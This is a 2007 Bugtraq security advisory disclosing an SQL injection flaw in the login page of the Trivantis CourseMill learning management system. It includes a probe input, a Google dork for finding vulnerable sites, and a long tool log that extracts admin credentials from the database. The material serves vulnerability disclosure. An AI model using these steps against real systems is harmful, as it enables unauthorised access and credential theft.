bugtraq - + Trivantis CourseMill Enterprise Learning Management System - SQL Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20071213220507.6356.qmail@securityfocus.com>
Date: 13 Dec 2007 22:05:07 -0000
From: swhite@...urestate.com
To: bugtraq@...urityfocus.com
Subject: +   Trivantis CourseMill Enterprise Learning Management System -
 SQL Injection  - CVE-2007-6338

+==================================================================================================+
+   Trivantis CourseMill Enterprise Learning Management System -  SQL Injection  - CVE-2007-6338   +
+==================================================================================================+

DISCOVERED BY:
==============
sasquatch of SecureState - swhite@...urestate.com

HOMEPAGE:
=========
www.securestate.com

AFFECTED AREA:
==============
The username field on the login page is susceptible to SQL injection...

http://www.website.com/coursemill/userlogin.jsp seems to be the default login page.

Impact: Full data dump of underlying database ---> Username/Passwords ~~~> ???

username: '
password: test

An unrecoverable error has occurred.
Please report this message to your system administrator.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
Exit
Š2006 Trivantis Corporation. Trivantis and CourseMill are registered trademarks of Trivantis. All Rights Reserved.

EXPLOITATION:
=============
Exploiter Beta from WatchFire's AppScan eXtensions Framework can be used to pull ALL data from the underlying database.

This is a free tool available from http://axf.watchfire.com/extensions/exploiter.aspx

The logins are unencrypted and stored in the "Admin" table. Column names are: ID, LastLogin, OrgId, Passsword.

This was found during a penetration test and was not tested as to whether or not further exploitation from inside the application is possible.

CONFIRMED AGAINST:
==================
CourseMill Enterprise v.4.1 SP4 (4527) (http://www.trivantis.com/products/coursemill.html)

EXAMPLE GOOGLEDORK:
===================
"Trivantis and CourseMill are registered trademarks of Trivantis"

VENDOR INFORMATION:
===================
Trivantis Corporation
311 Elm Street Suite 200
Cincinnati, OH 45202
877-929-0188
513-929-0188
http://www.trivantis.com

Vendor notified on 12-13-07 and the product development manager was uncooperative and hung up on us.

Sample Query Logs from Exploiter Beta:
======================================
QUERY = SELECT MIN(isnull(name,'')) FROM syscolumns WHERE xtype NOT IN (173,34,98,165,60) AND id=(SELECT id FROM sysobjects WHERE name='Admin') 
Column found: table=Admin, column=ID
QUERY = SELECT MIN(isnull(name,'')) FROM syscolumns WHERE xtype NOT IN (173,34,98,165,60) AND id=(SELECT id FROM sysobjects WHERE name='Admin') AND name>'ID'
Column found: table=Admin, column=LastLogin
QUERY = SELECT MIN(isnull(name,'')) FROM syscolumns WHERE xtype NOT IN (173,34,98,165,60) AND id=(SELECT id FROM sysobjects WHERE name='Admin') AND name>'LastLogin'
Column found: table=Admin, column=OrgId
QUERY = SELECT MIN(isnull(name,'')) FROM syscolumns WHERE xtype NOT IN (173,34,98,165,60) AND id=(SELECT id FROM sysobjects WHERE name='Admin') AND name>'OrgId'
Column found: table=Admin, column=Password
QUERY = SELECT MIN(isnull(name,'')) FROM syscolumns WHERE xtype NOT IN (173,34,98,165,60) AND id=(SELECT id FROM sysobjects WHERE name='Admin') AND name>'Password'
Extracting records for table=Admin...
Exploit method is now Convert
QUERY = SELECT TOP 1 convert(nvarchar(16),COUNT(DISTINCT ID)) FROM Admin
QUERY = SELECT TOP 1 convert(nvarchar(16),COUNT(DISTINCT LastLogin)) FROM Admin
QUERY = SELECT TOP 1 convert(nvarchar(16),COUNT(DISTINCT OrgId)) FROM Admin
QUERY = SELECT TOP 1 convert(nvarchar(16),COUNT(DISTINCT Password)) FROM Admin
QUERY = SELECT MIN(RTRIM(convert(nvarchar(255),isnull(ID,'')))) FROM Admin 
Value found: table=Admin, column=ID, value=admin
QUERY = SELECT MIN(RTRIM(convert(nvarchar(255),isnull(LastLogin,'')))) FROM Admin WHERE RTRIM(convert(nvarchar(255),isnull(ID,'')))='admin'
Value found: table=Admin, column=LastLogin, value=Oct  7 2007  2:45AM
QUERY = SELECT MIN(RTRIM(convert(nvarchar(255),isnull(OrgId,'')))) FROM Admin WHERE RTRIM(convert(nvarchar(255),isnull(ID,'')))='admin'
Value found: table=Admin, column=OrgId, value=
QUERY = SELECT MIN(RTRIM(convert(nvarchar(255),isnull(Password,'')))) FROM Admin WHERE RTRIM(convert(nvarchar(255),isnull(ID,'')))='admin'
Value found: table=Admin, column=Password, value=admin

Etc...

and proceeds to dump the entire database...